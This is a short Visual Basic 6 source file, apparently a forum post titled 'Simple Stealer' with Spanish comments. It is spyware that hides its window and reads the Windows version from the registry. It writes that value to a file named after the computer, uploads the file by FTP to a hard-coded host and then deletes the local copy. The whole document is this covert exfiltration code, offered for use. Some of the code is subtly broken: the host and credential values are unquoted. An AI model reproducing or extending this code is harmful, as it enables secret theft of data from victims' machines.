[SCR] Simple Stealer

'Codeado por k0ws/respeta el autor
Option Explicit
Dim cFTP As New mFTP
Private Sub Form_Load()
Me.Hide
Dim yo As Object
Set yo = CreateObject("wscript.shell")
Dim so As String
so = yo.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
Text1.text = "Tu Remoto Usa: " & so
Call Mandar()
End Sub

Function Mandar()
Dim Stealed As String
Dim ftpHost As String
Dim ftpUser As String
Dim ftpPass As String
Stealed = Environ("homedrive") & "\" & Environ("ComputerName") & StrReverse("txt.")
ftpHost = ftp.host.net
ftpUser = GAY
ftpPass = GAY2
Open Stealed For Output As #1
Print #1, Text1.Text
Close #1
cFTP.Connect ftpHost, ftpUser, ftpPass, 21, True, eAT_Direct, vbNullString, vbNullString
cFTP.PutFile Stealed, Environ("ComputerName") & StrReverse("txt.")
cFTP.Disconnect
'
Kill Stealed
'
END
End Function